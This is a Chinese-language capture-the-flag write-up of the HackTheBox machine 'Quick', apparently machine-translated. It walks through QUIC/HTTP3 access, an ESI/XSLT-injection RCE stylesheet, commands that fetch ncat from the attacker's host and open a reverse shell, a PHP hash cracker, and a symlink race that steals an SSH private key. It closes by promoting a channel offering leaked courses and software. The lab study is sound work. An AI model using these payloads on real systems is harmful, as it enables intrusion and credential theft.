我将继续发布从HackTheBox网站发送到计算机最终定稿的解决方案。
在本文中,我们处理QUIC HTTP / 3连接,通过XSLT注入获得RCE,并使用竞态条件技术获取用户的私钥。
与实验室的连接是通过VPN。建议您不要从有重要数据的工作计算机或主机进行连接,因为您会发现自己与某个对信息安全有所了解的人处于私有网络中。
组织信息
侦察
这台机器的IP地址为10.10.10.186,我将其添加到/ etc / hosts中。
10.10.10.186 quick.htb
第一步是扫描打开的端口。由于使用nmap扫描所有端口会花费很长时间,因此我将首先使用masscan进行扫描。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.186 --rate=500
现在,要获取有关端口上运行的服务的更多详细信息,请使用-A选项运行扫描。
nmap -A quick.htb -p9001,22
因此,我们有两个服务-SSH和Apache Web服务器。让我们看看网络提供了什么。
链接到正在运行HTTPS的门户,但是该端口已关闭。将此DNS添加到/ etc / hosts。
10.10.10.186 portal.quick.htb
但是端口443已关闭!我们还在网站上找到了有趣的列表。
让我们用gobuster扫描目录。在参数中,我们指定流128(-t),URL(-u),字典(-w),我们感兴趣的扩展名(-x)以及我们需要的服务器响应代码(-s)的数量。
gobuster dir -t 128 -u http://quick.htb:9001/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html --timeout 60s -s 200,204,301,302,307,401
我们找到了有趣的页面,但是所有页面都需要授权。在这个站点上旋转了一下之后,出现了一个问题。如果服务器的相应端口已关闭,为什么我需要指向门户的链接。然后,我们将再次彻底扫描该端口。
nmap -p443 -A quick.htb
sudo nmap -p443 -A -sU quick.htb
并且此端口开放用于UDP!
入口点
谷歌搜索,我们发现了一篇描述QUIC技术的文章(类似于汽车的名称)。
此外,通过阅读有关此协议的信息,我们了解到可以使用该协议的功能已添加到Chrome。
但是您不能使用指定的方法进行连接。然后记住连接已被过滤并转到本文。
让我们按照文章中的描述进行安装:
sudo apt install rustc cargo
git clone --recursive https://github.com/cloudflare/quiche
cd quiche
cargo build --examples
一切都已成功组装,现在让我们向我们的网站执行请求并获得答案!
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/
为了方便起见,您可以将输出保存到HTML文件中,然后在浏览器中打开文档,但是我已经习惯了。我们看到包含文档的页面的链接,因此让我们对其进行引用。
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/index.php?view=docs
我们看到了两个文档。下载它们。
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/QuickStart.pdf > QuickStart.pdf
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/Connectivity.pdf > Connectivity.pdf
在Connectivity.pdf中,它指出了可以登录的密码,只需要使用某种电子邮件作为用户名即可。
让我们收集信息...已经列出了客户列表,但我们也可以找到员工。
让我们创建一个电子邮件列表。因此,Tim提到了来自英国的QConsulting,那么他的电子邮件很有可能是tim@qconsulting.co.uk。让我们为所有人命名。尝试登录后,我们成功发送电子邮件至elisa@wink.co.uk。
用户
环顾四周后,我发现wappalyzer插件不起作用。让我们看一下whatweb所使用的技术。
whatweb http://quick.htb:9001/home.php
我们看到标题X-Powered-By:Esigate。让我们寻找漏洞。
因此,使用RCE可以导致XSLT注入。我们从gobuster那里了解到,还有页面search.php和ticket.php。如果您转向搜索。然后我们将被告知没有搜索字符串。
然后让我们通过参数搜索。
当您搜索“ 2”时,将得到结果。
但是,在ticket.php页面上,您可以创建一个票证。
我们得到了可以找到的相应记录。该漏洞被利用的很好的说明这里。根据文章所述,为了获得RCE,您需要发送一个指向XSL文件的链接,该文件将包含以下内容:
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[!!!RCE!!!]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>
其中CDATA []将包含正在执行的命令。我们必须将这些文件的包含作为消息发送。
<esi:include+src="FILE.xml"+stylesheet="FILE.xsl"></esi:include>
然后在本地计算机上启动侦听器。
nc -lvp 4321
现在,我们将创建票证并参考它们。由于将字符“>”和“ <”转义,因此我们将进行三个查询。我们将下载ncat,为其授予执行权限并进行反向连接。以下是三个文件的CDATA []值:
1.xsl: wget http://10.10.14.191/ncat
2.xsl: chmod +x ncat
3.xsl: ./ncat 10.10.14.191 4321 -e /bin/sh
我们将执行6个请求(第一个是消息的内容,第二个是票证的请求)。
<esi:include+src="http://10.10.14.191/1.xml"+stylesheet="http://10.10.14.191/1.xsl"></esi:include>
<esi:include+src="http://10.10.14.191/2.xml"+stylesheet="http://10.10.14.191/2.xsl"></esi:include>
<esi:include+src="http://10.10.14.191/3.xml"+stylesheet="http://10.10.14.191/3.xsl"></esi:include>
我们看到了连接。
用户2
为了方便起见,让我们创建并记录SSH密钥。
现在,您可以使用私钥进行连接。让我们记住在站点上找到的db.php文件,该文件应包含用于连接数据库的凭据。让我们来看看。
让我们与接收到的凭据连接。
mysql -h localhost -u db_adm -p
让我们浏览可用的数据库。
让我们选择快速数据库。
让我们看一下该数据库中的表。
最后,我们从用户表中获取数据。
我们得到哈希值,但无法对md5进行排序。让我们看一下比较哈希值的代码。
因此,密码首先进入crypt函数。让我们编写自己的代码,以遍历密码。
<?php
$hash = 'c6c35ae1f3cb19438e0199cfa72a9d9d'; //'e626d51f8fbfd1124fdea88396c35d05';
$wordlist = fopen("./tools/rockyou.txt","r");
while(! feof($wordlist)) {
$str = fgets($wordlist);
$str = trim($str);
echo "Find password: " . $str ." \r";
$tmp_hash = md5(crypt($str,'fa'));
if($hash == $tmp_hash){
echo "Password Found: ". $str."\n";
fclose($wordlist);
exit(0);
}
}
fclose($wordlist);
?>
然后我们得到了密码。无法在本地更改密码,它也不适用于SSH,因此让我们检查其余的源代码。从add_printer.php中可以看到,接受了几个参数,包括IP地址和端口。接下来,建立连接以测试连接。
job.php文件更加有趣。
但是无法登录服务器,因为它不可用。让我们看一下Web服务器设置。因此,将创建文件,然后将其传输到创建打印机时指定的主机和端口。但是由于睡眠(0.5)延迟和创建的文件的权限为777的事实,我们可以在发送文件之前对其进行更改,而我们拥有此目录的所有权限。
因此,您可以编写一个脚本来将该文件与用户的私钥链接!
cd /var/www/jobs;
while true;
do
for file in $(ls .);
do
rm -rf $file;
ln -s /home/srvadm/.ssh/id_rsa $file;
done
done
让我们看一下Web服务器设置。
因此,该站点代表srvadm运行,并且只能通过localhost访问。让我们转发端口并将适当的条目添加到/ etc / hosts。
127.0.0.1 printerv2.quick.htb
sudo ssh -i sam -L 80:127.0.0.1:80 sam@quick.htb
现在,我们去该站点。
让我们继续添加打印机。
添加打印机后,需要激活它。
现在,我们运行脚本并选择打印。
然后,我们将看到与侦听器的连接以及用户的SSH密钥。
根
在主目录中,我们找到.cache目录。
我们找到了打印机的配置文件。
在配置中,我们找到了到打印机的连接字符串:
https://username:password@ip/printer
从那里我们获得了可用于通过SSH连接的密码。
您可以通过Telegram加入我们。在这里,您可以找到有趣的资料,泄漏的课程和软件。让我们聚集一个社区,在这个社区中,将有很多精通IT领域的人,然后我们始终可以在任何IT和信息安全问题上互相帮助。